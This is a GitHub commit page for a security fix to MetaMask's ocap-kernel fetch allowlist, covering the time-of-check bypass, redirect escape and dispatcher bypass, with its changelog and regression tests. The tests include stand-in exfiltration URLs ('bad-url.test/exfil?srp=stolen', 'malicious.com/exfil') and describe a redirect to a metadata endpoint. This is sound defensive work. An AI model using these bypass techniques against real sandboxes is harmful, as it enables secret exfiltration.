Skip to content

Commit 37db357

Browse files
sirtimidclaude
andauthored
fix(ocap-kernel): request only the URL the fetch caveat approved (#1026)
Fixes MetaMask/MetaMask-planning#7557. ## Problem A vat granted `fetch` could reach any host regardless of its `network.allowedHosts`. Three routes, one shape: **the URL the caveat approves is not the URL that gets requested.** 1. **TOCTOU (CWE-367 — the reported PoC).** Both enforcement points resolved the vat's input to a URL for validation and then handed **the input itself** to `fetch`, which resolved it a second time. An input answering differently on each read was validated as an allowed host and requested as a forbidden one. `harden()` does not help: it freezes the wrapper, not the vat's argument. 2. **Redirects.** `redirect` defaults to `follow` and the caveat only ever saw the pre-flight URL, so an allowed host answering `302 Location: http://169.254.169.254/latest/meta-data/` sent the vat's request outside the allowlist and handed the vat the response body. Not merely a risk from a compromised third party: an allowlist may perfectly well name a host **the vat itself controls**, which makes this a general escape. 3. **Transport replacement.** undici honours a `dispatcher` in `init`, and a dispatcher decides where the bytes go whatever URL the caveat approved. Found while fixing (2); not in the report. ## Fix New in `@metamask/kernel-utils`: - **`resolveFetchInput`** resolves an input exactly once and returns the resolved URL plus a stand-in to forward in its place. - **`makeGuardedFetch`** wraps a `fetch` so a guard runs before **every** request it makes, following redirects itself, one hop at a time. Both enforcement points route through them — `makeCaveatedFetch`/`makeHostCaveat` (`ocap-kernel`) and `makeHostRestrictedFetch` (`kernel-language-model-service`) — and are now one-line delegations. The caveat takes a **`URL` and nothing else**. The deleted `FetchCaveat` handed every policy the raw fetch args and made it re-derive the URL itself, via the now-deleted `resolveUrl` — the exact CWE-367 read. A guard author now has no raw input to mis-resolve, and no partially-accurate `init` to mis-read: the first request's `init` is assembled from the caller's arguments while a hop's comes from the redirect rewrite, so an `init`-reading policy would have been sound only after the first hop — the hop every request makes. `requestOnce` likewise takes the resolved `{ url, input }` pair rather than a destination and the URL it is claimed to be, so passing the caller's own input is a type error rather than a comment violation. ### Closed | Vector | Handling | | --- | --- | | Stringifier answering differently on successive reads (the PoC) | Rejected, rather than serviced at whichever URL it showed first | | `Request` subclass overriding its `url` getter | URL read through the genuine accessor | | `Request` state in a mutable own property (undici on Node 22) | `Request` copied, then rebuilt around the resolved URL as a string | | Redirect out of the allowlist | Refused; the forbidden host is never contacted | | `redirect: 'follow'` in `init` **or** on a `Request` | Overridden, not merged | | `dispatcher` in `init` | Refused — from a snapshot of `init`, so an accessor cannot answer the check with `undefined` and the transport with a dispatcher | | `dispatcher` planted as an own property of a `Request` | Shed by the copy that precedes the rebuild | | `baseFetch` that walks a chain itself despite `redirect: 'manual'` | Refused, rather than returned as the approved resource | ### Semantics - **Follow per hop, don't reject outright.** A redirect that stays inside `allowedHosts` is followed as `fetch` would have, so `http`→`https` and `/x`→`/x/` keep working. `response.url` names where the chain ended and `response.redirected` reports the chain. Getting `redirected` right needs a proxy: the vat `fetch` endowment **hardens** its response, so the flag cannot be written onto it. The proxy is not the response — `Response.prototype.text.call(view)` throws where `view.text()` works — which the JSDoc records. - **Except in a browser, where no redirect can be followed at all.** Checking a hop requires `redirect: 'manual'`, and a browser answers that with an opaque-redirect response — status 0, no headers — which hides the target instead of exposing it. `VatSupervisor` runs in an iframe, so this is the extension's behaviour, not a corner case: a redirected request fails there rather than being followed. Failing closed is the only option; the alternative is approving a URL and requesting whatever the `Location` said. Non-redirected requests are unaffected. - **Only `follow` is overridden.** It is the one mode that could walk to an unapproved host. `manual` and `error` ask for *less*, so they are obeyed rather than silently upgraded. The mode is answered on the status alone, before the `Location` is read, as the spec orders it — so `error` fails a redirect that names nowhere to go rather than passing it off as an ordinary response, which is also what undici does. - **Three things fail closed rather than quietly:** - a hop that **keeps the body** when that body cannot be sent again. Stricter than the spec, which replays a stream whose *source* it kept — a `Request`'s body is a stream however it was built, so `fetch(new Request(url, {method:'POST', body:'x'}))` across a 307 now errors where `fetch` would have replayed it. Buffering every body up front to avoid that would make an unbounded upload an unbounded allocation; the error names the hop and the remedy. - a hop to a **scheme `fetch` will not follow** (`data:`, `file:`, `blob:`), refused by name rather than incidentally as a nameless host. - a **`baseFetch` that followed a redirect below the guard**. Every request here asks for `manual`, so a response reporting `redirected` means a chain was walked that the guard never saw — silently degrading back to the pre-flight-only checking this PR replaces. - Spec rewrite otherwise: 303 (and 301/302 from a POST) → bodyless GET, credentials dropped when a hop leaves the origin, 20-hop limit. ## Verification Against live `http.createServer` instances on **Node 22.20 and 24.18** (both in the CI matrix; `engines: >=22`), exercising the built `dist` under lockdown — **49 checks pass on both**, and **13 of them fail against the pre-fix build**, with the forbidden server recording `GET /secrets`. Covered: single cross-host redirect; chain ending on an allowed host; excursion to another allowed host and back; redirect loop; vat-supplied `follow`/`manual`/`error` and a `Request` carrying its own mode; 307 with string and stream bodies; 303 POST→GET; cross-origin credential stripping; non-fetchable scheme; empty `Location`; `dispatcher` in `init`, planted on a `Request`, and hidden behind an accessor. Plus the non-regressions — GET, POST string/stream bodies, `Request` reuse, `Request` + `init` override, `AbortController` propagation across a hop — all with bodies intact. **All 33 mutations of `guarded-fetch.ts` are caught by its tests**, including each arm of the origin comparison, each entry of both header lists, the 303 HEAD exemption, and the `body: null` and method-case edge cases. Deleting `resolveFetchInput`'s defensive `new Request(input)` copy is caught too — that copy is what sheds a planted `dispatcher`, and asserting it needs a live server, since the rebuilt `Request` keeps a dispatcher out of reach whether or not it carried one. Coverage is layered: real-server tests in `kernel-utils`, unit tests at both enforcement points, and an end-to-end test in `kernel-test` driving every attack from a real vat through the real supervisor and the hardened Snaps `ResponseWrapper`. ## Not addressed - **DNS rebinding.** The caveat matches the hostname a vat names, so an allowlisted name resolving to a loopback or link-local address reaches it. Which address a name resolves to at connect time is undici's business and not reachable from here. - **No audit trail.** A refused hop throws; the vat sees the error and may swallow it, leaving no kernel-side record that an allowlist violation was attempted. The signal is currently inverted — successful egress reaches `logger.debug`, a denial reaches nothing — and the success path carries no URL either, so there is no egress-destination trail in either direction. Worth a follow-up: an `onRefusal` on `makeGuardedFetch` would also catch the non-guard refusals (bad `Location`, non-fetchable scheme, hop cap, unreplayable body). - **`cache` is not carried across a hop.** This package compiles against undici's `RequestInit`, which has no `cache` field because undici ignores cache mode, so a hop in a browser realm reverts to the default. - **Stream request bodies in a browser.** The `Request` rebuild passes the original through as a `RequestInit`, which needs `duplex` when the body is a stream. undici exposes `Request.prototype.duplex`; browsers do not, so a browser vat's stream-bodied `Request` fails before any request is made. Fail-closed, and narrow — streaming uploads need HTTPS and HTTP/2 anyway. 🤖 Generated with [Claude Code](https://claude.com/claude-code) <!-- CURSOR_SUMMARY --> --- > [!NOTE] > **High Risk** > Changes security-critical vat network confinement and redirect/integrity semantics; incorrect behavior could allow exfiltration or break legitimate fetches. > > **Overview** > **Security fix** for vat `fetch` escaping `network.allowedHosts` (CWE-367): the allowlist was checked on one URL resolution while the underlying `fetch` could read the input again or follow redirects to forbidden hosts. > > Adds **`resolveFetchInput`** and **`makeGuardedFetch`** in `@metamask/kernel-utils` so the guard runs on the URL that will actually be requested, with a safe stand-in input forwarded to `baseFetch`. Redirects are handled manually (`redirect: 'manual'` on every hop) so each `Location` is host-checked; caller `redirect: 'follow'` is overridden, `manual`/`error` honored. Also rejects `dispatcher` in init, blocks non-replayable bodies on body-preserving redirects, and verifies **`integrity`** against the final response body (not intermediate 3xx bodies). > > **`makeCaveatedFetch` / `makeHostCaveat`** (`ocap-kernel`) and **`makeHostRestrictedFetch`** (Ollama) now delegate to `makeGuardedFetch`; the host caveat takes a **`URL` only** (removed `resolveUrl` / raw-args caveat). Regression coverage spans unit tests, live HTTP servers, and kernel vat endowment tests. > > <sup>Reviewed by [Cursor Bugbot](https://cursor.com/bugbot) for commit 282fbaf. Bugbot is set up for automated code reviews on this repo. Configure [here](https://www.cursor.com/dashboard/bugbot).</sup> <!-- /CURSOR_SUMMARY --> --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
1 parent 180e6ac commit 37db357

21 files changed

Lines changed: 3018 additions & 112 deletions

File tree

packages/kernel-language-model-service/CHANGELOG.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,4 +7,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
77

88
## [Unreleased]
99

10+
### Security
11+
12+
- `makeHostRestrictedFetch` can no longer reach a host outside `allowedHosts`. The host was checked against one resolution of the input while `fetch` resolved it again (CWE-367), and a redirect out of the allowlist was followed unchecked ([#1026](https://github.com/MetaMask/ocap-kernel/pull/1026))
13+
- `redirect: 'follow'` no longer reaches the hop unchecked, so the `baseFetch` argument is always called with `redirect: 'manual'` and must honour it. A `dispatcher` in `init` is rejected, and a redirect that keeps a body that cannot be sent again now fails
14+
1015
[Unreleased]: https://github.com/MetaMask/ocap-kernel/

packages/kernel-language-model-service/src/ollama/fetch.test.ts

Lines changed: 95 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
import '@ocap/repo-tools/test-utils/mock-endoify';
2+
import { makeTwoFacedFetchInput } from '@ocap/repo-tools/test-utils/fetch-input';
23
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
34

45
import { makeHostRestrictedFetch } from './fetch.ts';
@@ -20,7 +21,7 @@ describe('makeHostRestrictedFetch', () => {
2021
beforeEach(() => {
2122
hardenSpy = vi.spyOn(global, 'harden');
2223
originalFetch = global.fetch;
23-
vi.spyOn(global, 'fetch').mockImplementation(vi.fn());
24+
vi.spyOn(global, 'fetch').mockResolvedValue(new Response('ok'));
2425
restrictedFetch = makeHostRestrictedFetch([mockHost]);
2526
});
2627

@@ -42,7 +43,11 @@ describe('makeHostRestrictedFetch', () => {
4243

4344
await restrictedFetch(url);
4445

45-
expect(global.fetch).toHaveBeenCalledWith(url);
46+
expect(global.fetch).toHaveBeenCalledWith(url, {
47+
redirect: 'manual',
48+
integrity: '',
49+
headers: expect.any(Headers),
50+
});
4651
},
4752
);
4853

@@ -93,15 +98,101 @@ describe('makeHostRestrictedFetch', () => {
9398

9499
await restrictedFetch(mockUrl, options);
95100

96-
expect(global.fetch).toHaveBeenCalledWith(mockUrl, options);
101+
expect(global.fetch).toHaveBeenCalledWith(mockUrl, {
102+
...options,
103+
redirect: 'manual',
104+
integrity: '',
105+
headers: expect.any(Headers),
106+
});
97107
});
98108

99109
it('should handle Request objects correctly', async () => {
100110
const request = new Request(mockUrl);
101111

102112
await restrictedFetch(request);
103113

104-
expect(global.fetch).toHaveBeenCalledWith(request);
114+
const [forwarded] = (global.fetch as ReturnType<typeof vi.fn>).mock
115+
.calls[0] as [Request];
116+
expect(forwarded).toBeInstanceOf(Request);
117+
expect(forwarded).not.toBe(request);
118+
expect(forwarded.url).toBe(mockUrl);
119+
});
120+
});
121+
122+
describe('input that resolves differently on each read', () => {
123+
it('throws rather than quietly fetching whichever URL was shown first', async () => {
124+
await expect(
125+
restrictedFetch(
126+
makeTwoFacedFetchInput(mockUrl, 'http://malicious.com/exfil').input,
127+
),
128+
).rejects.toThrow('resolved to a different URL when read again');
129+
130+
expect(global.fetch).not.toHaveBeenCalled();
131+
});
132+
133+
it('still host-checks a stringifier that resolves consistently', async () => {
134+
await expect(
135+
restrictedFetch(
136+
makeTwoFacedFetchInput(
137+
'http://malicious.com/exfil',
138+
'http://malicious.com/exfil',
139+
).input,
140+
),
141+
).rejects.toThrow('Invalid host: malicious.com');
142+
143+
expect(global.fetch).not.toHaveBeenCalled();
144+
});
145+
146+
it('throws for a Request subclass that overrides its url getter', async () => {
147+
class SpoofedRequest extends Request {
148+
override get url(): string {
149+
return mockUrl;
150+
}
151+
}
152+
153+
await expect(
154+
restrictedFetch(new SpoofedRequest('http://malicious.com/exfil')),
155+
).rejects.toThrow('Invalid host: malicious.com');
156+
157+
expect(global.fetch).not.toHaveBeenCalled();
158+
});
159+
});
160+
161+
describe('redirects', () => {
162+
const redirectTo = (location: string): Response =>
163+
new Response('', { status: 302, headers: { location } });
164+
165+
it('throws for a hop to a host outside the allowlist, and never requests it', async () => {
166+
(global.fetch as ReturnType<typeof vi.fn>)
167+
.mockResolvedValueOnce(redirectTo('http://malicious.com/exfil'))
168+
.mockResolvedValue(new Response('exfiltrated'));
169+
170+
await expect(restrictedFetch(mockUrl)).rejects.toThrow(
171+
'Invalid host: malicious.com, expected: localhost:8080',
172+
);
173+
expect(global.fetch).toHaveBeenCalledTimes(1);
174+
});
175+
176+
it('throws for a hop to another port on the allowed hostname', async () => {
177+
(global.fetch as ReturnType<typeof vi.fn>)
178+
.mockResolvedValueOnce(redirectTo('http://localhost:11434/api/chat'))
179+
.mockResolvedValue(new Response('exfiltrated'));
180+
181+
await expect(restrictedFetch(mockUrl)).rejects.toThrow(
182+
'Invalid host: localhost:11434',
183+
);
184+
expect(global.fetch).toHaveBeenCalledTimes(1);
185+
});
186+
187+
it('follows a hop that stays on the allowed host', async () => {
188+
(global.fetch as ReturnType<typeof vi.fn>)
189+
.mockResolvedValueOnce(redirectTo(`http://${mockHost}/api/moved`))
190+
.mockResolvedValue(new Response('landed'));
191+
192+
const response = await restrictedFetch(mockUrl);
193+
194+
expect(await response.text()).toBe('landed');
195+
expect(response.redirected).toBe(true);
105196
});
106197
});
107198

packages/kernel-language-model-service/src/ollama/fetch.ts

Lines changed: 18 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -10,29 +10,29 @@
1010
* use the fetch function from global scope to make requests to other hosts.
1111
*/
1212

13+
import { makeGuardedFetch } from '@metamask/kernel-utils';
14+
1315
/**
14-
* Creates a fetch function that only allows requests to the specified origins.
16+
* Creates a fetch function that only allows requests to the specified hosts.
17+
* Matching is against `URL.host`, so the port is significant and the scheme is
18+
* not. See {@link makeGuardedFetch}.
1519
*
16-
* @param allowedHosts - The hosts to allow requests from.
20+
* @param allowedHosts - The hosts to allow requests to.
1721
* @param baseFetch - The fetch function to use as a base. Defaults to the global fetch function.
1822
* @returns A fetch function that only allows requests to the specified hosts.
1923
*/
2024
export const makeHostRestrictedFetch = (
2125
allowedHosts: string[],
2226
baseFetch: typeof fetch = globalThis.fetch,
23-
): typeof fetch => {
24-
const restrictedFetch = async (
25-
...[url, ...args]: Parameters<typeof fetch>
26-
): ReturnType<typeof fetch> => {
27-
const { host } = new URL(url instanceof Request ? url.url : url);
28-
if (!allowedHosts.includes(host)) {
29-
throw new Error(
30-
`Invalid host: ${host}, expected: ${allowedHosts.join(', ')}`,
31-
{ cause: { url } },
32-
);
33-
}
34-
const response = await baseFetch(url, ...args);
35-
return response;
36-
};
37-
return harden(restrictedFetch);
38-
};
27+
): typeof fetch =>
28+
makeGuardedFetch({
29+
baseFetch,
30+
guard: async ({ host, href }) => {
31+
if (!allowedHosts.includes(host)) {
32+
throw new Error(
33+
`Invalid host: ${host}, expected: ${allowedHosts.join(', ')}`,
34+
{ cause: { url: href } },
35+
);
36+
}
37+
},
38+
});

packages/kernel-test/src/endowments.test.ts

Lines changed: 165 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -65,4 +65,169 @@ describe('endowments', () => {
6565
`error: Error: Invalid host: ${badHost}`,
6666
]);
6767
});
68+
69+
// Regression test for the CWE-367 escape reported in
70+
// MetaMask/MetaMask-planning#7557: a vat handed `fetch` an input that named
71+
// an allowlisted host when the caveat read it and a forbidden host when
72+
// `fetch` read it again.
73+
it('confines a vat that resolves a fetch input differently on each read', async () => {
74+
const vatId: VatId = 'v1';
75+
const v1Root: KRef = 'ko4';
76+
const { logger, entries } = makeTestLogger();
77+
const database = await makeSQLKernelDatabase({});
78+
const kernel = await makeKernel(
79+
database,
80+
true,
81+
logger,
82+
getWorkerFile('mock-fetch'),
83+
);
84+
const goodHost = 'good-url.test';
85+
const badHost = 'bad-url.test';
86+
await kernel.launchSubcluster({
87+
bootstrap: 'main',
88+
vats: {
89+
main: {
90+
bundleSpec: getBundleSpec('endowment-fetch'),
91+
parameters: {},
92+
globals: ['fetch', 'Request', 'Headers', 'Response'],
93+
network: { allowedHosts: [goodHost] },
94+
},
95+
},
96+
});
97+
await waitUntilQuiescent();
98+
99+
const decoyUrl = `https://${goodHost}/decoy`;
100+
const targetUrl = `https://${badHost}/exfil?srp=stolen`;
101+
102+
await kernel.queueMessage(v1Root, 'fetchWithTwoFacedUrl', [
103+
decoyUrl,
104+
targetUrl,
105+
]);
106+
await waitUntilQuiescent();
107+
108+
await kernel.queueMessage(v1Root, 'fetchWithSpoofedRequest', [
109+
decoyUrl,
110+
targetUrl,
111+
]);
112+
await waitUntilQuiescent();
113+
114+
expect(extractTestLogs(entries, vatId)).toStrictEqual([
115+
'buildRootObject',
116+
'bootstrap',
117+
'error: Error: fetch input resolved to a different URL when read again.',
118+
// Two reads, both the kernel's: it resolves once and checks once.
119+
'reads: 2',
120+
// The copy defeats the lying getter; see `resolveFetchInput`.
121+
`error: Error: Invalid host: ${badHost}`,
122+
]);
123+
});
124+
125+
// Regression test for the unchecked redirect hop; see `makeGuardedFetch`.
126+
it('confines a vat whose allowed host redirects it elsewhere', async () => {
127+
const vatId: VatId = 'v1';
128+
const v1Root: KRef = 'ko4';
129+
const { logger, entries } = makeTestLogger();
130+
const database = await makeSQLKernelDatabase({});
131+
const kernel = await makeKernel(
132+
database,
133+
true,
134+
logger,
135+
getWorkerFile('mock-fetch'),
136+
);
137+
const goodHost = 'good-url.test';
138+
const badHost = 'bad-url.test';
139+
await kernel.launchSubcluster({
140+
bootstrap: 'main',
141+
vats: {
142+
main: {
143+
bundleSpec: getBundleSpec('endowment-fetch'),
144+
parameters: {},
145+
globals: ['fetch', 'Request', 'Headers', 'Response'],
146+
network: { allowedHosts: [goodHost] },
147+
},
148+
},
149+
});
150+
await waitUntilQuiescent();
151+
152+
const redirectFrom = (target: string): string =>
153+
`https://${goodHost}/start?redirectTo=${encodeURIComponent(target)}`;
154+
155+
await kernel.queueMessage(v1Root, 'fetchFollowingRedirect', [
156+
redirectFrom(`https://${badHost}/exfil?srp=stolen`),
157+
]);
158+
await waitUntilQuiescent();
159+
160+
await kernel.queueMessage(v1Root, 'fetchFollowingRedirect', [
161+
redirectFrom(`https://${goodHost}/landed`),
162+
]);
163+
await waitUntilQuiescent();
164+
165+
expect(extractTestLogs(entries, vatId)).toStrictEqual([
166+
'buildRootObject',
167+
'bootstrap',
168+
`error: Error: Invalid host: ${badHost}`,
169+
`fetched: https://${goodHost}/landed`,
170+
// Overridden all the way through the Snaps endowment, which rebuilds the
171+
// init before calling the real fetch.
172+
'redirect mode: manual',
173+
'redirected: true',
174+
'body: Hello, world!',
175+
]);
176+
});
177+
178+
// The digest is spent on the body the chain ends on; see `makeGuardedFetch`.
179+
it('checks a vat’s integrity against the resource a redirect led to', async () => {
180+
const vatId: VatId = 'v1';
181+
const v1Root: KRef = 'ko4';
182+
const { logger, entries } = makeTestLogger();
183+
const database = await makeSQLKernelDatabase({});
184+
const kernel = await makeKernel(
185+
database,
186+
true,
187+
logger,
188+
getWorkerFile('mock-fetch'),
189+
);
190+
const goodHost = 'good-url.test';
191+
await kernel.launchSubcluster({
192+
bootstrap: 'main',
193+
vats: {
194+
main: {
195+
bundleSpec: getBundleSpec('endowment-fetch'),
196+
parameters: {},
197+
globals: ['fetch', 'Request', 'Headers', 'Response'],
198+
network: { allowedHosts: [goodHost] },
199+
},
200+
},
201+
});
202+
await waitUntilQuiescent();
203+
204+
const landed = `https://${goodHost}/landed`;
205+
const start = `https://${goodHost}/start?redirectTo=${encodeURIComponent(landed)}`;
206+
// Of `Hello, world!`, which the mock answers `/landed` with.
207+
const resourceDigest =
208+
'sha256-MV9b23bQeMQ7isAGTkoBZGErH853yGk0W/yUx1iU7dM=';
209+
const otherDigest = 'sha256-LPJNul+wow4m6DsqxbninhsWHlwfp0JecwQzYpOLmCQ=';
210+
211+
await kernel.queueMessage(v1Root, 'fetchWithIntegrity', [
212+
start,
213+
resourceDigest,
214+
]);
215+
await waitUntilQuiescent();
216+
217+
await kernel.queueMessage(v1Root, 'fetchWithIntegrity', [
218+
start,
219+
otherDigest,
220+
]);
221+
await waitUntilQuiescent();
222+
223+
expect(extractTestLogs(entries, vatId)).toStrictEqual([
224+
'buildRootObject',
225+
'bootstrap',
226+
// Read through the hardened Snaps response wrapper, which the digest is
227+
// checked through too — `fetch` handed the same digest would have held it
228+
// against the 302's body and failed.
229+
'body: Hello, world!',
230+
`error: Error: Fetch of ${landed} does not match the requested integrity \`${otherDigest}\`.`,
231+
]);
232+
});
68233
});

0 commit comments

Comments
 (0)